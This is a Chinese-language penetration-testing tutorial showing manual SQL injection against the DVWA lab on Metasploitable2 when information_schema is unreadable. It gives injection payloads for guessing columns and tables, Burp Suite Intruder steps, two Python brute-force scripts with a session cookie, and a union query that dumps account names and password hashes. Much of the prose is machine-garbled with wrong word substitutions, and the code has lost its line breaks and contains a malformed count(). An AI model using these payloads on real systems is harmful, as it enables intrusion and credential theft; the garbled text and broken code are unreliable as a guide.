比较常见类型漏洞讲解(二):文件上传
比较常见类型漏洞讲解(三):SQL注入(一)
这里连续先容比较随意马虎找到的不同类型的漏洞。

目标主机:Metasploitable2
攻击目标:目标主机的dvwa系统
攻击机:Kali
SQL注入手动演示-权限受限前面演示过一些SQL注入操作方法用户获取数据库信息,比如库表信息、字段信息、详细内容等。个中很多信息都是通过查询information_schema获取的,查询这个表实在是须要对应权限的,而真实事情中不会给普通账号授予这个表的读取权限。
利用的数据库账户是root
这里便是要先容当没有读取information_schema库权限时,该怎么获取我们须要的信息。
SQL注入手动演示-确认表字段先来想办法剖析查询的表有哪些字段,方法比较笨,便是一直的猜,SQL语句:
# columns便是我们预测的字段名' and columns is null --
预测有字段名为firstName,实行结果:
' and firstName is null --
预测有字段名为first_name,实行结果:
' and first_name is null --
当猜错时会提示不存在这个字段,当猜对时不会提示字段不存在,可以从这两种不同反馈判断存在哪些字段。
事理是这个事理,但是你真的手动一个一个去猜,那就太摧残浪费蹂躏韶光了,我们可以在Kali中找个字典,用自动化的办法去剖析表字段。
Kali中数据库字段干系字典
查看一下这个字典的内容:
commom-columns.txt
须要把稳一下字典文件中带#号的内容,在sql语句中#号代表临时表,如果没有特殊须要,最好先将这部分内容去掉。
去掉带#部分的内容
然后便是利用这个字典了,利用办法很多,可以写python脚本,也可以用burpsuite,或者其他你用着顺手的工具。这里用burpsuite进行演示,先触发一次要求,在burpsuite中天生一个记录:
将记录的数据发送给Repeater
可以在Repeater修正一下参数后触发一次要求,就能在Response里看到返回结果:
确承认以或许利用后,就将要求发送给Intruder:
将要求数据发送给Intruder
切换到Intruder模块,Target已经默认配置了,确认一下是我们须要攻击的ip就行,然后切换到Positions,通过clear把自动天生的参数位置清理掉:
清理默认选中的参数
选中代表字段名的那部分字符串,然后点击add:
设定参数
参数设定好往后,切换到Payload分页,配置我们前面准备的字典:
配置字典
根据这次的要求参数情形,可以将URL编码功能关闭:
关闭URL编码功能
然后就可以点击开始攻击的按钮了:
会花费一些韶光,实行完成后,会得到这样的结果:
实行失落败
实行成功
比拟两种实行结果,可以看到Length字段明显不一样长,直接用Length排序,就可以将实行成功的排到上面,就知道字典中哪些字符串是表中存在的字段:
获取存在的字段
我这里还没实行完,以是没显示全部匹配到的字段。而且这个实行结果只能判断字典中存在的字段在不在目标数据库的表中,如果字典中不存在,就无法判断。
SQL注入手动演示-确认表名事理也是一样的,找个字典进行匹配。
实行的sql须要调度一下
# table表示表名' and table.first_name is null --
first_name这个字段是我们在前面确定在表中存在的,只要前面利用的表名是精确的,就不会报错,如果表名是缺点的就会报错:
输入缺点的表名
表名干系的字典,在Kali中也有现成的:
Kali中关于表名的字典
将字典中#号去掉:
去除带#号的内容
可以和前面一样,可以连续利用burpsuite,但是为了演示渗透办法的多样性,这里写个大略的python脚本:
import sysimport requestsdef tables_attack(file_name): f = open(file_name) list = f.readlines() f.close() for i in list: i = i.strip('\n') if i == '': continue url = 'http://192.168.218.129/dvwa/vulnerabilities/sqli/?id=%27+and+' + i + '.first_name+is+null+--+&Submit=Submit#' headers = {'Cookie': 'security=low; PHPSESSID=355f404c2619a23fd9b8aa4dc54dda3a'} resp = requests.get(url=url, headers=headers) if b'Unknown column' not in resp.content: print(i) breakif __name__ == '__main__': file = sys.argv[1] tables_attack(file)
由于数据量不多,就没有利用并发,实行结果:
实行脚本
可以看到结果显示表明是users。
SQL注入手动演示-确认其他表猜其他表就须要再改一下sql语句了:
# table表示表名' and (select count() from table)>0 --
反馈和前面差不多,当存在时,不会报错;当不存在时,会报错。
连续利用python脚本:
import sysimport requestsdef tables_attack(file_name): f = open(file_name) list = f.readlines() f.close() for i in list: i = i.strip('\n') if i == '': continue url = 'http://192.168.218.129/dvwa/vulnerabilities/sqli/?id=%27+and+%28select+count%28%29+from+' + i + '%29%3E0+--+&Submit=Submit#' headers = {'Cookie': 'security=low; PHPSESSID=355f404c2619a23fd9b8aa4dc54dda3a'} resp = requests.get(url=url, headers=headers) if b'More info' in resp.content: print(i)if __name__ == '__main__': file = sys.argv[1] tables_attack(file)
改一下url,再改一下判断成功失落败的逻辑,获取实行结果:
获取实行结果
这个实行结果只能解释存在这些表,但是不能解释库中只有这些表。
SQL注入手动演示-确认表和字段关系通过前面的操作已经猜出了数据库中的表和存在的字段,这里就可以预测一下表和字段之间的关系。改动sql:
# table是我们前面猜到的表名,column是猜到的字段' and table.column is null --
实行结果还是看是否报错,报错便是两者不存在关系,不报错就表示这个字段便是这个表的。
实行办法和前面基本同等,就不重复了,这个建议利用burpsuite,由于这个工具的Payload type里供应了我们须要利用的组合办法。
当知道表和字段关系后,实在我们基本就能获取我们能从数据库中获取的业务信息了,比如dvwa系统,想要获取账户名、密码:
' union select user, password from users --
获取账户名、密码
总结当碰着sql注入漏洞,但是没有权限访问information_schema库时,我们也可以通过字典去预测数据库表构造,能确认足够多表信息后,我们就可以从数据库中查询我们想要的信息了,乃至进一步对数据库中的数据进行写入或者更新操作。